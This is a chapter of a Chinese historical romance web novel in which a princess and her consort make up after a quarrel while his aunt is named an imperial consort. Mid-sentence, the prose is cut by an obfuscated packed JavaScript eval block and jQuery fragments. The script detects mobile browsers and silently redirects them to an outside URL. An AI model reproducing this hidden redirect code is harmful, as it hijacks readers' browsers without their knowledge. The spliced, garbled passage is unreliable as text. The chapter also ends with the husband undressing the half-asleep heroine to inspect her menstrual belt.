史之尧心里憋闷,他既生自己的气,又气崇宁让他生气,一边气她却又一边心疼她。
如此心绪繁杂为情所困,还是头一回。
他沉着脸往回走,经过她们时强迫自己不去看崇宁。
崇宁正和曌曌吃樱桃,余光瞥见他,即刻低头红了脸。
她真蠢,明知他不可能喜欢自己为什么还腆着脸去问。
这下面子全没了!
崇宁又羞又恼,想到他刚才阴阳怪气赶她走人就气不打一处来。
他这人就是莫名其妙!
申初一刻,宫里太监来报,说侯府史三小姐入选,被皇帝封妃,赐号为“慧”。
收到消息时,崇宁正在书房给温亭书写回信。
他信上说想约她七夕夜里相会,崇宁欣然答应,她回信定下地点,选在平康坊的醉仙楼与她相见。自己的地盘更安全些。
将回信交给舒窃,她整理衣衫去定远侯府正堂等候史颖。
史之尧和赵氏也在。
“母亲。”崇宁亲昵地朝赵氏福礼,理都没理史之尧。
赵氏吓了一大跳,而后客气地朝崇宁寒暄。
这几日闭关秋霜阁,公主府来的女官对她颇为照料却不刁难,她渐渐想明白了,亦不敢再招惹崇宁。婆媳二人只要客客气气互不干扰就好。
见她把自己当成空气,史之尧静静睨着那张笑颜,心里很不是滋味。
一个时辰后,史颖回府。老侯爷带领家中老小弯膝下跪:“臣等拜见慧妃娘娘。”
史颖:“……请起。”
虽和家人感情不深,但看着长辈给她磕头跪拜,史颖心里一酸,眼泪差点流出来。
崇宁上前牵住她的手:“恭喜小姑,小姑以后就是我的皇嫂啦。”
史颖羞得脸红。
“家宴齐备,惠妃娘娘舟车劳顿,不如早些用膳。”老侯爷一改常态,对她十分客气。
史颖鼓起勇气道:“我乏了,想先回竹园歇息。还有,我……本宫想见史曌。”
侯爷毕恭毕敬:“来人,去请三少爷。”
史颖终于在竹园见到了朝思暮想的小侄子。
史曌红着眼嚷嚷:“小姑!你跑哪儿去了,我还以为你不要我了!”
“怎么会呢。”史颖见了他直流眼泪。两人同命相连又朝夕相处,早已离不开彼此。
“老头同意放我出来,因为你当上娘娘了吧?”
“曌曌聪慧。”
史曌气得想哭:“什么劳什子娘娘!你要是进了宫,是不是不能陪着我了?”
史颖止不住流泪:“若有省亲那天,兴许还能相见。”
两人倾诉许久,到了深夜曌曌赖着不走,定远侯不敢来催。史颖便吩咐他住在次间榻上。
史曌好不容易自由两天,宫里就来了教习嬷嬷。史颖只好将他送回清晖堂。
第二天史之尧来看望她。
“这是姚记的点心,我记得你以前喜欢,以后进宫怕是吃不到了。”
“你心思单纯涉世不深,若怕得罪人说错话,便三缄其口。最好能生个子半女,余生才有依靠。若有难处,记得派人给我传信,千万别轻信旁人,千万别轻信……”
史之尧千叮咛万嘱咐,竟比后宅老妇还啰嗦。
史颖对他笑:“难为尧尧,心事未除还要抽空照料我。”
“我哪儿有?”
“还说没有,嘴角要垮到地上了。”
史颖道:“你以前总爱笑,最近怎么了,跟别人欠你万两白银似的。”
“前几日才同公主和好如初,又闹别扭了吧。”
史之尧哼道:“什么都瞒不过你。”
昨日听她那番话,他心绪烦乱,久久难平。过了一夜,他不再生崇宁的气,也没有资格闹气。他就是心里发堵,不怨她只怨自己。
“公主身世凄苦,若有不对之处,你该多包涵多规劝,难道还要生分吗?”史颖小声哄道,“再说你也舍不得啊。”
“既舍不得,还不主动些。”
史之尧托腮看窗外,良久不言。
他史之尧在长安城声名远扬。城西的女子多少人追着他掷果盈车,上赶着倒贴他都爱答不理。
而面对崇宁,他却要一退再退。
史颖叹道:“公主屈尊降贵跟了你,你岂能冷落人家。再说,王公贵族有退路,你却没有。别怪小姑话不中听,若你日日冷待她,她或是和离或养面首,你待如何?”
闻言,史之尧眸光渐冷。
史颖便知这话他听进去了。
她能纳男宠,他未必能纳妾室收通房。她可以有别人,但他只有她一个人。
正所谓一语点醒梦中人,史之尧明了后无心再陪小姑,傍晚就去了星辉园。
“殿下,驸马来了。”
崇宁在妆台前试新的胭脂膏子,闻言一惊。
他昨天阴阳怪气害她丢脸,又莫名其妙生闷气,如今竟还愿意来这儿?
她心道一句犯贱,继而鼓起雪腮命令:“关门,不许他进来!”
丫鬟们即刻关门上栓,完事便惊叫一声。
驸马直接从次间窗外跃了进来。
昨日的事她们都有耳闻,见史之尧一脸和煦,愈发看不透他的脾性。
“出去。”史之尧打发她们走人,穿过明间进了落地罩。
崇宁背对他涂唇,镜前映出男人愈发清晰的面容。
“刚吃完小孩?”
“你讨厌!”崇宁扭头推他。
可她哪里推得动他,史之尧随手拉了把圈椅,翘着二郎腿坐她旁边。
“让我看看。”他捏住崇宁下巴,轻轻一转。
他嘴唇偏薄偏锋利,崇宁却不然。她生了一张樱桃小口,唇角自然上翘,唇瓣饱满红润,唇珠微微翘起,甚是诱人。
他的拇指轻轻按压她的唇珠,手感滑嫩柔软。
“唔……”
崇宁挣扎着咬他手指。
“你怎么突然来了?”
史之尧高高挑起断眉:“公主的闺房驸马不能来?”
“我还以为你生气了呢。”
“我为何生气?”史之尧笑道,“许是你在生气,然后以己度人才觉得我也生气。”
崇宁:“……”
有时候她真猜不透他的城府。他皮相虽好却九曲心肠,平时爱逗弄她,也爱莫名其妙生闷气。
眼下他眉眼带笑,难道昨日只是戏耍?
不对,他戏弄她时总是笑嘻嘻的,昨日他眼底没有笑意。
她回怼道:“你昨儿就是不高兴了,还不承认,脸皮真厚。”
“这不叫脸皮厚,这叫心理防线过硬。”史之尧嗤道,“如殿下昨日那般深情告白,才叫脸皮厚。”
她嗔道:“我没有!”
水眸含怨,愈发动人。
这副表情才是史之尧爱看的。
小姑说的对,何必惹她不痛快,惹她发火对他有什么好处?还如骗她进帐里,他好顺带发一通火。
他是她的驸马,是她唯一的面首,他拥有别人羡而不得的美色。
如此一想,昨日那点委屈酸涩即刻消失殆尽。
崇宁不是没发觉他的古怪。正所谓男人心海底针,她不懂亦不想自寻烦恼。
他主动递来台阶,她却偏不下!
“你昨日害我丢了颜面,又待如何?”她必须讨个说法。
史之尧道:“你不过玩笑一句,我一没笑你二没当真,亦不会将此事公之于众。公主怎会丢了颜面?”
他转而笑道:“莫不是你自己在意,才觉得这般丢脸?”
“才不是!”崇宁急道,“我才没觉得丢人,我本来就不在意!”
史之尧连连点头:“公主所言极是。”
崇宁莫名消了火气,见他盯着自己,怨道:“看什么看。”
史之尧眉眼带笑:“殿下的唇脂不错。”
崇宁心想当然不错,这是新品!
话到嘴边,她突然起了戏弄心思,便问:“你说说,哪里不错?”
史之尧计上心头,微微挑唇。
妆台橘红烛光衬得他浓颜愈发昳丽。他偏生一根断眉,加之习武染的戾气,笑起来带着三分痞。
他凑得太近,崇宁被他看得脸热。
史之尧拇指轻抚她的唇面,眼眸深沉:“颜色不错,质地不错,味道……应该也不错。”
说罢,一双唇覆上去。
崇宁躲闪不及,温热气息扑面而来,惊讶间男人的舌尖撬开贝齿,长驱直入,开始肆意地攻城略地。
她慌忙往后躲,却被一只大手按住后脑。他的舌吻如疾风骤雨,裹挟着她再难清醒。身子一软,整个人顷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831468|175586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻间跌入他的怀抱。
他将人打横抱起,走进层层帷幔后的拔步床。
一阵天旋地转,崇宁被他压在茵褥上亲热,他吻得发狠发狂,似带邪火。
崇宁被迫承受他的火气,眼底渐渐生出泪雾,脸颊染上浓重的红晕。
“坏蛋……”
意乱情迷之际,耳畔只剩男人满意的喉音。
他的手探入衣襟,崇宁倏地一惊。
她抓紧衣裙,又羞又窘:“我、我癸水没走!”
史之尧喘着粗气,闭眼问:“什么癸水?”
崇宁不知怎么解释。
史之尧开始自顾自探索,闻到她小腹间的猩甜血味儿,低声道一句“奇怪”,麻溜解她裙带,似要查看。
“不要!”
她死死拽住腰间绦带。
“求求你!”崇宁慌了神。
他还不松手,她尖叫一声:“不许看!”
崇宁羞了一张大红脸,发热的红晕从脸颊染至脖颈,渐渐渗透肌理,乍一看活像只煮熟的龙虾。
史之尧没绷住,埋头在她小腹嬉笑出声。
崇宁紧紧闭着眼,一副视死如归的模样。听到他不正经的笑声,一瞬间恍然大悟。
她支起上身,“耍我?!”
史之尧乐不可支。
“你没安好心!”崇宁气得抄枕头砸他。
枕头软绵绵碰到他的肩膀,史之尧连根头发丝都没掉。
他嘲笑道:“你花枝乱颤,哪儿有力气?”
他之前不知道癸水,自借阅医书后还能不知道?
崇宁噘嘴瞪他,眼角眉梢净是娇嗔,却没有真动怒。
“殿下可欢喜了?”他突然问。
小两口解除别扭,崇宁当然舒畅,可她若点头应下,岂不很没面子。
崇宁哼一声,打量着他挑刺说:“欢喜什么,衣裳脏着就敢爬床,可惜了我一床锦被!”
史之尧不由挑眉,见她眼尾唇边满是笑意,便放心了。
昨天她直截了当吐露心声,让他心寒又心疼。心寒她凉薄冷情,心疼她半生凄苦。
他惹的人,当然要由他亲自哄好。
夜深人静,崇宁平躺着一动不动。旁边的男人气息粗重,双腿交叠,头枕双臂,躺姿甚是落拓。
“你竟然愿意睡这儿。”
“何意?”
崇宁偏头看他:“之前都为那事才留宿。”
如今她身子不爽,他居然愿意陪她。
夏夜的拔步床内甚是温暖,她没盖薄被,双手交叠紧紧捂着小腹。
“不舒服?”
崇宁习以为常。除了额头冒着细汗,她的神态没有一丝痛苦。
史之尧拉开薄被,将她从头到脚包裹严实。
被窝里的崇宁闷声笑道:“盖被子没用,只会热。”
“我去叫燕婉。”
他正要下床,被崇宁拉住手腕。
“不用,女子头一日都这样,忍忍就过去了。”
她执意如此,史之尧不再多话。过了一会儿,她撑起上身,似要起床。
“干嘛?”他问。
崇宁支吾道:“你回避,让守夜的丫鬟进来。”
史之尧直起身盘起腿,似乎没有回避的意思。
“你出去……”崇宁嗫嚅着,“……听到没。”
史之尧:“我何时听过你的话?”
崇宁拿他没办法,红着脸道:“帮我拿月事带。”
史之尧微微挑起眉峰。
她垂眸催促:“快去,就在衣柜旁的箱子里面。最下层,你细找找。”
依她所言,史之尧找到那玩意儿。愣怔须臾,他明白这是干啥用的。
“怎么系?”
“不用你帮。”
她夺过新的月事带,去浴房换好又回来了。
躺回床上,困意渐浓。欲寻周公之际,她迷迷糊糊听到史之尧的声音。
“你里裤好像染了血。”
“是吗……”她声音发虚,意识混沌,根本没力气查看。
史之尧道:“没事,我帮你脱了。”
崇宁闭着眼:“……好。”
脱去里裤后,她沉沉进入梦乡。
史之尧端来烛台,借光仔细观察月事带。
趁她不备,轻轻解开了系带。